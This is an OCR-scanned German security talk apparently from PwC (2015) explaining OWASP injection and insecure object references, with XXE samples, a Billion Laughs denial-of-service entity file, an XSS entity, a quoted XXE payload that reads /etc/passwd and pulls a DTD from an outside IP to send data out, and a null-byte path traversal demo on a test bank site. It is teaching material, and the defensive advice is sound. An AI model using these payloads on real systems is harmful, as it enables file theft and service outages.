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| . .
Motivation

Weshalb der Vortrag fiir Sie interessant sein konnte

26.09.2007 17:52 =« Vorige | Nachste »

Adobes Webserver sperrangelweit offen

m vorlesen & MP3 -Download

Ein CGI-Skript auf Adobes Webserver weist einen kritischen Fehler auf, mit dem der
Zugriff auf beliebige Dateien des Systems maglich ist. Dazu gentigt es, eine
praparierte URL in einem Browser aufzurufen, um den Inhalt der Dateien angezeigt
zu bekommen. Neben Konfigurationsdaten ist es so auch maglich, Log-Dateien, SSL-
Schlussel und Passwort-Dateien einzusehen. Zu welchem Schlisselpaar der
abrufbare private SSL-Key gehart, wird noch untersucht, derzeit scheint er aber zu
keinem bekannten SSL-Zertifikat von Adobe zu passen.

Mokasanu cedvac oTNM4YHOe

Saxoawm copa: hitp
P1_Prod_WVersion=_/
keywww.adobe.com_key?%00.
M Buanm BOT YTO:

1shockwave/download/download.cgi?
ycalfapache/conf/ss

MIICKXQIBAAKBgQC+gu/eSRISThbYrvVQcewZFQc/Kfa8B/gKOKzD98aY9hvNF)3pd
whkw+dSIOCU78jrGkbPA4mOGyNN27zDAQIWPEkmyzrOgBYvLnWFQ2kTzPIMBNt2yd

28.09.2012 10:57 « Vorige | Nachste »

Adobe gehackt und missbraucht

EFD vorlesen # MPE-Download

Adobes Sicherheitschef Brad Arkin persénlich fasst in einem Blog-Beitrag den Stand
der Erkenntnisse zur missbrauchlichen Verwendung von Adobe-Zertifikaten
zusammen. Offenbar haben Unbekannte einen internen Server gehackt, um spezielle
Schadprogramme mit einer gultigen digitalen Unterschrift zu versehen. Diese Tools
wurden dann wohl fur einen gezielten Angriff eingesetzt.

(Un)Sicherheit bei ihrer Applikation?
PwC

08.05.2015 12:23 «Vorige | Nachste »

l+f: Kritische Liicke in Uberwachungs-Software fiir
kritische Systeme
m vorlesen # MFP3-Download

Uber einen Bug in Symantecs Server-Uberwachungs-Software kénnen Angreifer
den Systemen beliebige Dateien unterjubeln und diese ausfiihren.

How I Hacked Facebook with a Word Document

Facebook helps you c and share with
the people in your life.

I' EJ Google Toolbar Button G- %

& - C ff [ wwwgooglecom/ s e . r
Co0O0fIaNDE"*BR+ 3 3%a =HEE:

GOUSI@ toolbar Google Toolbar Button Gallery

For Users Search for buttons: | A

Get Buttons Results 1-1.0f 1 for* i i =
Papular
MNews root:x:0:0:root/root/bin/bash bin:x:1:1:bin:/bin:/sbinnologin daemon:x:2:2:daemi
Tools adm:x.3:4.adm:varfadm:/sbin/nologin Ip:x:4:7:Ip:var/spoolllpd:/sbin/nologin
Comrmunication man:*6:15:man:var/cache/man:/sbin/nologin mail:x:8:12:mail:\var/spool/mail./st
Fun & Games news:x:9:13:news:var/spoolinews: uucp:x:10:14:uucp:var'spool/uucp:isbin/nolc
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Einfithrung

OWASP TOP 10 Projekt mit seinen Vor- und Nachteilen

« In der Regel jene Schwachstellen gelaufig

- (A1) SQL Injection

- (A3) Cross-Site Scripting

sensibler Daten

- (A8) Cross-Site Request Forgery

ssssss

- (A4) Directory Traversal

« Andere Schwachstellen in einer Kategorie eher unbekannt
- (A1) XML External Entity Injection

(Un)Sicherheit bei ihrer Applikation?
PwC
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| Orientierung
Aufbau des Vortrags

* Auszug aus der deutschen OWASP TOP 10 — 2013
Ubersetzung

« Erlauterung

» Vorstellung der Schwachstelle

« Aktuelle Sicherheitsveroffentlichungen zur Schwachstelle
« Anwendungsbeispiel mit weiteren Risiken
 Sicherheitsvorfall

« MafBnahmen

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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"OWASP TOP 10

2013-A1-Injection
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| OWASP TOP 10 — 2013
Auszug aus der deutschen Ubersetzung

* A1 - Injection
Injection-Schwachstellen, wie beispielsweise SQL-, OS- oder LDAP-
Injection, treten auf wenn nicht vertrauenswiirdige Daten als Teil
‘eines Kommandos oder einer Abfrage von einem Interpreter
‘verarbeitet werden. Ein Angreifer kann Eingabedaten dann so
‘manipulieren, dass er nicht vorgesehene Kommandos
“ausfiihren oder unautorisiert auf Daten zugreifen kann. |

Quelle: https://www.owasp.org/images/4/42/OWASP_Top_10_2013_DE_Version_1_0.pdf

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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A1 — Injection

Erlauterung
Interpreter Nicht vorhergesehen
« Abfragesprachen « Kommandos ausfiihren /
. SOL Privilegien-Eskalation
_ LDAP Query - Umgehen von Zugriffskontrollen
(Access Control Lists)
- XQuery .
. - Ausbrechen von einer vorgegebenen
« Auszeichnungs-/ und restriktiven Umgebung
Transformationssprachen - Daten-Zugriff
- XML - System-Zugriff
- XLST - System-Ubernahme
- Java Unified Expression Language
- Language Integrated Query

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
PwC 10



3

A1 — Injection
Vorstellung

« Angriffsvektor
- XML Datenverarbeitung (XML External Entity (XXE) Injection)

e MafBnahmen
- Design

- Empfehlungen

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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" Aktuelle Sicherheitsveroffentlichungen
Auszug — XML External Entity (XXE) Injection

1.

2015-04-14: CVE-2015-1092

NSXMLParser in Foundation in Apple iOS before 8.3 and Apple TV before 7.2
2015-04-02: CVE-2015-0254

Apache Standard Taglibs before 1.2.3

2015-04-02: CVE-2015-2813

SAP Mobile Platform (SAP Security Note 2125358)

2015-04-02: CVE-2015-2811

ReportXmlViewer in SAP NetWeaver Portal 7.31.201109172004
(SAP Security Note 2111939)

2015-03-24: CVE-2015-0250
SVG to (1) PNG and (2) JPG conversion classes in Apache Batik 1.x before 1.8

Quelle: http://www.cvedetails.com/

(Un)Sicherheit bei ihrer Applikation?
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| Anwendungsbeispiel
Eine valide RDF Datei (XML) — ,,sample2.xml”

« Fiir das Dokument werden eigene Entitaten definiert

- ,mfg“ und ,XXE*
@ 1 <?xml version="1.8" encoding="utf-8"?>

2 H<IDOCTYPE rdf:ROF [ T !
3 : <IENTITY mfg "mit freundlichen Gr&#252;8%223;en!"> :
401 <IENTITY XXE ZYSTEM “https:// entwicklertag.de/karlsruhe/2015/rss. ml”>
5 : 1= I
& [El<rdf:RDF xmIns:rdf="http://www.w3.org/1695,/83,/23 - rdf-syntax-ns¥">
7 [ <rdf:Description rdf:about="content.xml#id1265698868" >

8 [F __ <ns@:comment xmlns:ns@="http://www.w3.org/20008/01/rdf-schema#”> _ _ _
=] | Ich verbleibe &mfg: :
100 ___ ! s
11 </ns@: comment:

12 </rdf:Description>

13 </rdf :RDF>

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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|
Anwendungsbeispiel
DOMParser prozessiert Datei "sample2.xml”

1# import org.apache.xerces.parsers.D0MParser;[]
5
 Xerces2 Java Parser 2.11.0 6 public class BasicDoM
é— public BasicDOM (String wmlFile) {
_ ] ] g DOMParser parser = new DOMParser();
RDF Datei wird lokal . o
3 “ 3 11 parser.parse({xmlFile};
elngelesen und VO]IStandlg 12 Document document = parser.getDocument();
. 13 traverse (document);
pI'OZGSSleI't 14 } catch (Exception e) {
15 system.err.println (e);
. 16 }
- Textinhalt des Knotens )
. « 18
,,nso.comment 19 private wvoid traverse (Node node) {
. . 28 int type = node.getNodeType();
wird in der Konsole 21| _ _ 3f (type — MNode ELEWENT NODE) { _ _ _ _ _ _ _ __
22 | if (node.getModeName().equals("ns@:comment™)) |
ausgegeben 23 : System.out.println (node.getTextContent()); |
e il il
25 NodeList children = node.getChildNodes();
26 if (children != null) {
27 for (int i=8; i< children.getlLength(}; i++)
23 traverse (children.item(i});
29 }
38 }
31
32= public static void main (String[] args) 1 1|
33 L _ _new BasicDOM (Tc:/sample/sample2.aml®); y
34 i
35 }I
(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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Anwendungsbeispiel in Java
Ausgabe des Textinhaltes vom Knoten ,,nso:comment®

1 <?xuml version="1.8" encoding="utf-8"2> 1% import org.apache.xerces.parsers.DOMParser;[]
2 E<!DOCTYPE rdf:RDF [ 5
3 <IENTITY mfg "mit freundlichen Gri#252;8%223;en!"> 5 public class BasicDOM {
4 <!ENTITY XXE SYSTEM "https://entwicklertag.de/karlsruhe/2815/rss.xml"> 7
s 1 i = o 8=  public BasicDOM (String xmlFile) {
& [F<rdf:ROF symlns:rdf="http://www.w3.0rg/1999/82/22-rdf-syntax-ns#"» : ?:'C?MParser parser = new DOMParser();
7 El <rdf:Description rdf:about="content.xml#id1265698568" > - Iypirser parse(xmlFile);
8 [E <nsB:corrn'entIx‘rlns:rnsa="httl:l:f'fmnw.wB.or‘Ef’2BBBfBlr’rdf—schema#"> :E Documerl1t document = p;rser.getDocument();
g Ich verbleibe &nfg;| 13 traverse (document);
18 AXXE; 14 } catch (Exception e) {
11 </ns@:comment:> 15 System.err.println (e});
12 </rdf:Description> 16 }
13 | </rdf:RDF> 7
G |,'_ Problems @ Javadoc @ Declaration | B) Consale &3
i i i i i n . ("ns@:comment™))
<terminated= BasicDOM [Java Application] C:\Program Files (x86)%)ava\jrel.8.0_45\bin\javaw.exe (7 May 2015 19:16:48) EetTextContent());
e e e —
ITch verbleibe mit freundlichen GriiRen! I dniodes () ;
L ____________________ s
Length{); i++)
I Karlsruher Entwicklertag 2815 1 res) {
I https://entwicklertag.de/karlsruhe/20151 p)s
en
KA-IT-51
https://entwicklertag.de/karlsruhe/2815/ka-it-si-8
<div class="field field-name-field-sponsor-logo field-type-image field-label-above"><div clasj
Wed, 15 Apr 2815 19:51:12 +2888
ahuck
289 at https://entwicklertag.de/karlsruhe/2815
(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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Weitere Risiken bei der XML Datenverarbeitung

Denial of Service aka , The Billion Laughs attack®

« Entitaten (rekursiv) expandieren

- Eine iiberdimensionale Zeichenkette kann erzeugt werden

1 <?xml version="1.8" encoding="utf-8"2>

2 E<!DOCTYPE rdf:RDF [

3 CIENTITY lol "lol™>»

4 CIENTITY lol2 "&lol;&1ol;&1ol;&1lol;&1lol;&1o0l;&10l;&10l;&10];&1a0l ;™

5 <IENTITY lol3 "&l0l12;8l0l12;81012;81012;81012;&1012;81012;&1012;81012;R1012;™>

6= <l--

7 <IENTITY lol4 "8lol3;8lol3;8lol3;8lol3;&10l3;81l0l13;810l3;&10l3;81013;81013; >

8 <IENTITY lols "&lol4;8lol4;8lo0l4;81l0l4;81014;81014;&1014;8&10l4;8&1014;81014;™>

o <IENTITY lole "&lol5;&lol5;8lol5;8lol5;&l0l5;&l0l5;&1015;&1015;&1015;&1015; >

18 <IENTITY lol7 "&lol6;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;™ >

11 <IENTITY lol8 "8lol7;8lol7;81017;8l0l17;&8l0l7;&1l0l17;&10l7;&10l7;&1017;81017;" >

12 CIENTITY lol9 "&1o0l18:;81018:81018;81018;&1018;&1018;&1018;&1018:&1018:&1018;">
13
14 -
15 1=
16 [<rdf:RDF xmlns:rdf="http://wew.w3.0rg/1999/82/22-rdf-syntax-ns#">
17 B <rdf:Description rdf:about="content.xml#idl265600868™> _ _ _ _ _ _ _ _ _ _ _ _
18 I <ns@:comment xmlns:ns@=' Wi . w3.org/2e88,/81/rdf -schemag"»&1al3; gnEB:_ccirn'Ent_;[
19 </rdf:Description:
28 </rdf :RDF>
<terminated:> BasicDOM [Java Application] C:\Program Files (x86)'Java'jrel.8.0_45\bin'javaw.exe (3 May 2015 11:14:19)
101101101101101101101101101101101101101101101101101101101101101101101101101101101101 10110110

- Alternative: Entitat SYSTEM ,,/dev/urandom® wird definiert

(Un)Sicherheit bei ihrer Applikation?
PwC
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' Weitere Risiken bei der XML Datenverarbeitung
Cross-Site Scripting auch in XML moglich

« Vielfaltige Angriffsvektoren durch Interpreter
- Angreifer sind in der Regel phantasiereich

1. <?xml version="1.8" encoding="UTF-8"?>

2 EH<!DOCTYPE html [

3 <IENTITY XSS "A#60;script8#62;alert( XSS and XXE' )&#68;/scriptl#62;™>

4 ] 3

5 [El<html xmlns="http://www.w3.0rg/1999/xhtml™>

& H <heads

7 <title>Aloha</titlez

B </head>

g <body> &X55; </body>] <« X ] filey///C/sample/xxe_xss.xml

18 </ htmlz
JavaScript-Warnmeldung %
X55 and XXE
(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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Sicherheitsvorfall
Der maliziose Lebenslauf

How I Hacked Facebook with a Word Document

The Hack:

| simply opened MS word 2010 then typed some random text and saved it on my desktop as: CV.docx after that i
successfully uploaded it to Facebook and Nothing fancy happened as you expected but | must find a vulnerability
today or i will lose my challenge
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XXE payload to read system files:

I
I
I <!'DOCTYPE root [

| <!ENTITY % file SYSTEM "file:///etc/passwd">

I <IENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
Yodtd;
I s%send;
I 1>

Quelle: http://attack-secure.com/hacked-facebook-word-document/

(Un)Sicherheit beiihrer Applikation?

PwC
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A1 — Injection
Mafnahmen

« Design Uberlegungen

- Nur wenn dringend notwendig eine Schnittstelle bereitstellen, um
benutzerdefinierbare XML Dokumente zu verarbeiten

« Allgemeine Empfehlungen

- Parser Einstellungen priifen und hinterfragen

Existiert ein maximale DateigrofBe fiir das Einlesen?
Wird die Parsing Tiefe limitiert?

Sind eigene DTDs erlaubt?

Werden Externals (auch XIncludes) aufgelost?

B ® N

5. Werden Entities expandiert?

« Eingabevalidierung durch restriktive Schema Datei (XSD)

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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"OWASP TOP 10

A4 — Unsichere direkte Objektreferenzen
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| OWASP TOP 10 — 2013
Auszug aus der deutschen Ubersetzung

* A4 — Unsichere direkte Objektreferenzen

' Unsichere direkte Objektreferenzen treten auf, wenn Entwickler
‘Referenzen zu internen Implementierungsobjekten, wie
‘Dateien, Ordner oder Datenbankschliissel von auBen zugiinglich
ﬁmachen Ohne Zugriffskontrolle oder anderen Schutz konnen?
‘Angreifer diese Referenzen manipulieren um unautorlslert
- Zugriff auf Daten zu erlangen.

Quelle: https://www.owasp.org/images/4/42/OWASP_Top_10_2013_DE_Version_1 opdf

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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| A4 — Unsichere direkte Objektreferenzen

Erlauterung
Interne . -
. . Referenzen manipulieren

Implementierungsobjekte

« Ressourcen « Privilegien-Eskalation
- Ordner - Umgehen von Zugriffskontrollen

Datei (Access Control Lists)

- atelen
- Weitere - Ausbrechen von einer vorgegebenen

und restriktiven Umgebung
« Datenbankschliissel

. .. .. - Daten-Zugriff
(exponierter Primarschliissel) S

- System-Zugriff

- System-Ubernahme

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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A4 — Unsichere direkte Objektreferenzen
Vorstellung

« Angriffsvektor

- Directory Traversal oder auch Path Traversal genannt

e MafBnahmen
- Design

- Empfehlungen

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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" Aktuelle Sicherheitsveroffentlichungen
Auszug — Directory traversal

1. 2015-05-01: CVE-2015-3337

Directory traversal vulnerability in Elasticsearch before 1.4.5 and 1.5.x before 1.5.2
2. 2015-04-30: CVE-2015-1398

Magento Community Edition (CE) 1.9.1.0 and Enterprise Edition (EE) 1.14.1.0
3. 2015-04-17: CVE-2015-2775

GNU Mailman before 2.1.20
4. 2015-04-14: CVE-2015-1087

Directory traversal vulnerability in Backup in Apple iOS before 8.3 TaiG Jailbreak Team
5. 2015-01-25: CVE-2015-1195

The V2 API in OpenStack Image Registry and Delivery Service (Glance)

Quelle: http://www.cvedetails.com/vulnerability-list/opdirt-1/directory-traversal.html

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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Anwendungsbeispiel
http://demo.testfire.net/

Demo — Mich kann man wirklich testen!

) = oy

demo.testfire.net

A\ItoroMutuaI 5

P ﬁy

L

Sign In | Contact Us | Feedback | Search[

= ONLINE
BANKING LOGIN

PERSONAL
Deposit
Product
Checking
Loan Products
Cards
Investments &
Insurance
Other Services

BUSINESS
Deposit
Products
Lending
Services
Cards
Insurance
Retirement
Other Services

INSIDE ALTORO

Online Banking with FREE
Online Bill Pay

No stamps, envelopes, or checks
to write give you more time to
spend on the things you enjoy.

Real Estate Financin

Fast. Simple. Professional.
Whether you are preparing to
buy, build, purchase land, or
construct new space, let Altoro

Miitiial'lce nramiar rasl actatra

(Un)Sicherheit bei ihrer Applikation?
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Business Credit Cards

You're always looking for ways to
improve your company's bottom
line. You want to be informed,
improve efficiency and control
expenses. Now, you can do it all
- with a business credit card
account from Altoro Mutual.

Refirement Saliifinnc

Privacy and Security

The 2000 employees of Altoro
Mutual are dedicated to
protecting your privacy and
security. We pledge to provide
you with the information and
resources that you need to help
secure your information and keep
it confidential. This is our
promise.

19. Mai 2015
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| Anwendungsbeispiel — Szenario 1

Demo — Valide Eingabe 1

AltoroMutual >

- ONLINE BANKING LOGIMN

e Personal

Deposit Product
Checking

Loan Products

Cards

Inwvestments & Insuramnce
Other Services

Whether you're looking for a savings or checking account. credit card, or
personal loan, cur solutions are designed to make banking as efficient and cost
effective as possible.

Deposit Products
SmMAalLL BUSIMESS

Deposit Products Find cut about cur different deposit products, and decide which cpticn will best
Lending Services suit you as you strive to sawve and grow your money.

Cards
Insurance Checki nmag

Betirement
N E R S e Learn more about cur checking accounts and find one that matches your

individual needs.

Whether
sawings
ALTORO MUTLIAL
About Us Loans

Contact s and cost effective as
Locations Find the right sclutien for your borrowing needs - whether you - re purchasing a possible.

Investor Relations heme. remodeling, or simply financing your dreams.

Press Room
Carsers Cards

Learn more about cur diverse card products, Altorc Mutual provides the
flexibility you reguire.

Investments

Find cut how Altors Mutual investment products can help you reach your
investment goals.

Privacy Policy | Secuwrity Statement | & 2015 Altorc Mutual, Inc.

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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| Anwendungsbeispiel

Quellcode Auszug “default.aspx.cs”

1. Absoluter Pfad, wo sich die Datei “default.aspx.cs” befindet

protected woid Page_Load({object sender, System.Eventhrgs e)
1

Response.Cache.SetCacheability(Httplacheability.NoCache);

if (Request.QueryString["content™] == null)

1
fileTolLoad += "default.htm";
¥
else
1
fileTolLoad += Request.QueryString["content™];
¥

string fileContent = LoadFile(fileToload);

(Un)Sicherheit bei ihrer Applikation?
PwC
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| Anwendungsbeispiel
Quellcode Auszug “default.aspx.cs”

Absoluter Pfad, wo sich die Datei “default.aspx.cs” befindet

GET-Parameter
“content” wird
konkateniert

protected woid Page_Load(cbject sender, System.Eventirgs e)

1

Response.Cache.SetCacheability(HttpCacheability.NaCache);

[m— e e e e e e = - = —
|

string fileTolLoad = Server.MapPath("") + "./static/";

if (Request.QueryString["content™] == null)

d

fileTolLoad += "default.htm";

¥

else

d

fileToload += Request.QueryString["content™];

¥

string fileContent = LoadFile(fileToload);

(Un)Sicherheit bei ihrer Applikation?

PwC
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| Anwendungsbeispiel

Quellcode Auszug “default.aspx.cs”

2. GET-Parameter
“content” wird
konkateniert

3. Absoluter Dateiname
wird an , LoadFile®
Methode iibergeben

1. Absoluter Pfad, wo sich die Datei “default.aspx.cs” befindet

protected woid Page_Load({object sender, System.Eventhrgs e)

1

Response.Cache.SetCacheability(Httplacheability.NoCache);

if (Request.QueryString["content™] == null)

1
fileTolLoad += "default.htm";

fileTolLoad += Request.QueryString["content™];
L

1string fileContent = LoadFile(fileToload);

(Un)Sicherheit bei ihrer Applikation?
PwC
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| Anwendungsbeispiel
Quellcode Auszug “default.aspx.cs”

1. Eingabevalidierung
mit
Hinweismeldung

(Un)Sicherheit bei ihrer Applikation?
PwC

private string LoadFile(string myFile)
1
string returnString = "";
string tmpStr;
string fileType = myFile.Substring((myFile.Length) - 4, 4);
| if (fileType == ".txt” || fileType == ".htm") : (1)
e [ A
E TextReader infile = null; :
: string openFile = "";
§ int 1 = 8;
while (myFile[i] != @)
o d
: openfFile += myFile[i];
: it+;
; if (i == myFile.Length) break;
)
; infile = File.OpenText(openFile);]|
; while ((tmpStr = infile.ReadLine(}} !'= null)
T
g returnstring += tmpStr + "\n";
¥
: infile.Close();
P}
i else
Yl o e e e e e e e e — ] g
returnstring = "Errcor! File must be of type TXT or HTM"; :
Yy ST T TTTTTTTTTTTTT ST T T T T T T TS IP."Mai 2015
30
return returnstring;




| Anwendungsbeispiel
Quellcode Auszug “default.aspx.cs”

1. Eingabevalidierung
positiv

2. Ubergebener
absoluter
Dateiname wird
zeichenweise an
lokale Variable
,openFile“ kopiert

(Un)Sicherheit bei ihrer Applikation?
PwC

private string LoadFile(string myFile)

1
string returnString = "";
string tmpStr;
string fileType = myFile.Substring((myFile.Length) - 4, 4);
1 if (fileType == ".txt" || fileType == ".htm")
T |
: TextReader infile = null;
: string openFile = "";
: int 1 = 8;
while (myFile[i] != @)
1
openFile 4= myFile[i];
i++;
if (i == myFile.Length)} break;
¥
infile = File.OpenText(openFile);]|

while ((tmpStr = infile.ReadLine(}} !'= null)

1
returnstring += tmpStr + "\n";

¥

infile.Close();
h
else
1

returnstring = "Errcor! File must be of type TXT or HTM";
i 1

return returnstring;

0. Mai 2015
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| Anwendungsbeispiel
Quellcode Auszug “default.aspx.cs”

1. Eingabevalidierung
positiv

2. Ubergebener
absoluter
Dateiname wird
zeichenweise an

lokale Variable
,openFile“ kopiert

3. Textdatei wird
vollstandig
eingelesen und
spater ausgegeben

(Un)Sicherheit bei ihrer Applikation?
PwC

{

private string LoadFile(string myFile)
string returnString = ""
string tmpStr;
string fileType = myFile.Substring((myFile.Length) - 4, 4);
1 if (fileType == ".txt" || fileType == ".htm") :
A |
: TextReader infile = null; :
: string openFile = ™" :
: int 1 = 8; :
4
while (myFile[i] != @)
1
openFile 4= myFile[i];
i++;
if (i == myFile.Length)} break;
¥
r= = = "= "= =T = =, TmEETmE-_-—_—_——————— - "
| infile = File.OpenText(openFile);]| I 6
[ 1
[ while ((tmp5tr = infile.ReadlLine(}) != null} 1
| { 1
I returnstring += tmpStr + "\n"; :
1
¥
1
L dnfileclese(: _ __________________|] i
ielse :
{
: returnstring = "Errcor! File must be of type TXT or HTM"; g
i} 1P. Mai 2015
Y | v 32
| return refurnString; _ _ _ _ _ o _ _ _ _______.J] =1




| Anwendungsbeispiel — Szenario 1

Demo — Valide Eingabe 1

AltoroMutual >

- ONLINE BANKING LOGIMN

e Personal

Deposit Product
Checking

Loan Products
Card personal loan, cur solutions are designed to make banking as efficient and cost

Whether you're locking for a savings or checking account, credit card, or

effective as possible.

Inwvestments & Insuramnce

e Deposit Products

Find out about ocur different deposit products, and decide which option will best
suit you as you strive to sawve and grow your money.

Checking

Learn more about cur checking accounts and find one that matches your
individual needs.

Al TORO MUTLIAL
About Us Loans mak wheirs
Contact Us and cost effective as
Locations Find the right sclutien for your borrowing needs - whether you - re purchasing a possible.

Inwvestor Relaticns home, remodeling, or simply financing your dreams.

Press Room
Carsers Cards

Learn more about cur diverse card products, Altorc Mutual provides the
flexibility you reguire.

Investments

Find cut how Altors Mutual investment products can help you reach your
investment goals.

Privacy Policy | Secuwrity Statement | & 2015 Altorc Mutual, Inc.

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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| Anwendungsbeispiel — Szenario 2

Demo - Valide Eingabe 2

AltoroMutual -g

i ONLINE BANKING LOGIN

| SMALL BUSTNESS

PERSOMAL

Deposit Product
Checking

Loan Products

Cards

Investments & Insurance
Other Services

BUSINESS

Deposit Products
Lending Services
Cards

Insurance
Betirement
Other Services

INSIDE ALTORO MUTUAL
About Us
Contact Us
Locations
Investor Relations

Other Personal Services

Altors Mutual offers additional personal services to help meet your varied

financial objectives.
Altoro Private Bank

Meed help managing your teday and for the future? Review our full range of
private banking and trustee services at Altoro Private Bank.

Altoro Wealth & Tax Advisories

Meed tailored advice regarding your wealth and tax chjectives? Altors Wealth &
Tax Advisories will help you and your family accomplish your objectives.

today and for the future?
Rewview our full range of
private banking and trustee
serwices.

& 2015 Altorc Mutual, Inc.
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PwC
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Anwendungsbeispiel — Szenario 3
Parameter-Manipulation “context” — Frage???

Demo — Modifizierte Eingabe 1
@ @ http://demo.testfire.net/default.aspx?content=Test123.htm |

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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Anwendungsbeispiel — Szenario 3
Parameter-Manipulation “context” — Antwort!!!

Demo — Modifizierte Eingabe

AltoroMutual

An Error Has Occurred

Summary:

Could not find file 'C:\sample\static\Test123.htm'.

Error Message:

System.I0.FileMotFoundException: Could not find file 'C:isamplelstatici Test123.htm'. File name: 'C:isample‘static\Test123.htm' at System.I0._ Error.WinlOError(Int22
errorCode, String maybeFullPath) at Eys'terrl.IO.FiIEEtnaam.Init(Etring path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32
bufferSize. FileQptions optiens, SECURITY_ATTRIBUTES secAttrs. String msgPath, Boclean bFremProxy. Boolean useLongPath, Boolean checkHost) at
System.I0.FileStream..ctor{ String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileQptions options, String msgPath, Boolean bFromProxy,
Boolean useLongPath, Boolean checkHost) at System.10.StreamReader..ctor{String path, Enceding encoding, Boclean detectEncoedingFromByteCrderMarks, Int32
bufferSize, Boolean checkHost) at System.I0.StreamReader..ctor{ String path) at System.IO.File.OpenText(String path) at Altore.Default.LoadFile(String myFile) in
ct\sample\default.aspx.cs:line 43 at Altoro.Default.Page_Leoad{Object sender, Eventfrgs &) in c:lsample\default.aspx.cs:line 73 at

System.Web. Util.CalliEventHandlerDelegateProxy. Callback [ Object sender, EventArgs &) at System.Web.UL Control.OnLoad(EventArgs ) at
System.Web. UL Control. LoadRecursive() at System.Web.UL Page.ProcessRequestMain Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)

Privacy Policy | Security Statement | & 2015 Altoro Mutual, Inc.

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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| . . .
Anwendungsbeispiel — Szenario 4
Erweiterte Parameter-Manipulation (ohne .txt oder .htm)

Demo — Modifizierte Eingabe 1

AltoroMutual »

m ONLINE BANKING LOGIN PERSONAL | INSIDE ALTORO MUTUAL

Error! File must be of type TXT or HTM
FPERSONAL

« Deposit Product

= Checking

« Loan Products

» Cards

« Investments & Insurance

» Other Services

SMALL BUSIMESS

= Deposit Products
« Lending Services
= Cards

s Insurance

= Retirement

= Other Services

INSIDE ALTORO MUTLIAL
= About Us
« Contact Us
» Locations
» Investor Relstions

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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Anwendungsbeispiel — Szenario 5
Erweiterte Parameter-Manipulation (mit .txt)

Demo — Modifizierte Eingabe 2

AltoroMutual

An Error Has Occurred

Summary:

Could not find file 'C:\sample\\web.config.txt'.

Error Message:

System.I0.FileNotFoundException: Could not find file 'C:\samplelweb.config.txt'. File name: 'C:'sample\web.config.txt' at System.IO._ Errer.WinlOErrorInt32
errorCode, String maybeFullPath) at System.I0.FileStream.Init{String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32
bufferSize, FileOptions eptions, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boclean bFremProxy, Boolean useLongPath, Boclean checkHost) at
System.I0.FileStream..ctor{ String path. FileMode mode, Filefccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Beolean bFromProxy.
Boolean useLongPath, Boolean checkHost) at System.10.StreamReader..ctor{ String path, Enceding encoding, Boolean detectEncedingFremByteCOrderMarks, Int32
bufferSize, Boolean checkHost) at System.ID.StreamReader..ctor{String path) at System.I10.File.OpenText(String path) at Altore.Default.LoadFile{String myFile) in
c:\sample\default.aspx.cs:line 43 at Altoro.Default.Page_Load{Object sender. Eventfrgs e) in c:\sample\default.aspx.cs:line 73 at

System.Web. Util.CalliEventHandlerDelegateProxy.Callback({Object sender, EventArgs &) at System.Web.UL Control.OnLoad(Eventfrgs &) at
System.Web.ULControl.LoadRecursive( ) at System.Web. UL Page.ProcessReguestMain Boolean includeStagesBeforefAsyncPoint, Boclean includeStagesAfterAsyncPoint)

Privacy Policy | Security Statement | & 2015 Altore Mutual, Inc.

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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4

Eingabevalidierung umgehen??? Ist moglich!
Welche Option existiert?

 NULL Byte oder Nullzeichen - Zeichenkette-Ende

- Ein C-String ist eine Sequenz von Zeichen, die mit einem Nullzeichen
endet (\0, 0x00, \u000O0, %00)

« Viele Hochsprachen behandeln ein NULL Byte wie ein legitimes
Zeichen, d.h. kein Zeichenkette-Ende. Ausnahmen:

- Weitergabe einer Zeichenkette in ein C Sprachenumfeld,
bspw. I/O Operationen

- ,Binary unsafe“ dokumentierte Funktionen/Methoden

s. http://php.net/manual/en/security.filesystem.nullbytes.php

while (myFile[i] != @)
{
- In unserem Anwendungsbeispiel: openFile += myFilelil;
i++;
Fragwiirdige Zeichenketten Kopier-Operation if (i == myFile.Length) break;
}
(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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| Anwendungsbeispiel — Szenario 6
NULL Byte Injection erfolgt, aber “keine” Darstellung

Demo — Modifizierte Eingabe 3

Sign In | Contact Uz | Feedback | Search|

AltoroMutual » -ﬂ‘ '-K

m ONLINE BANKING LOGIN PERSONAL | INSIDE ALTORO MUTUAL

PERSONAL
» Deposit Product
= Checking
= Loan Products
« Cards
« Investments & Insurance
» Other Services

SMALL BUSINESS
= Deposit Products

= Other Services

INSIDE ALTORO MUTLIAL
= About Us
« Contact Us
» Locations
» Investor Relstions

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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| Anwendungsbeispiel — Szenario 6
NULL Byte Injection erfolgt, aber “keine” Darstellung

Demo — Modifizierte Eingabe 3

AltoroMutual »

m ONLINE BANKING LOGIN PERSONAL | INSIDE ALTORO MUTUAL

PERSOMAL

« Deposit Product
= Checking

= Loan Products

« Cards

» Investments & Insurance Meu laden Strg=R
» Other Services B

Zuriick Alt+Linkspfei

Vorwarts Alt=Rechtspfeil

SMALL BUSIMESS

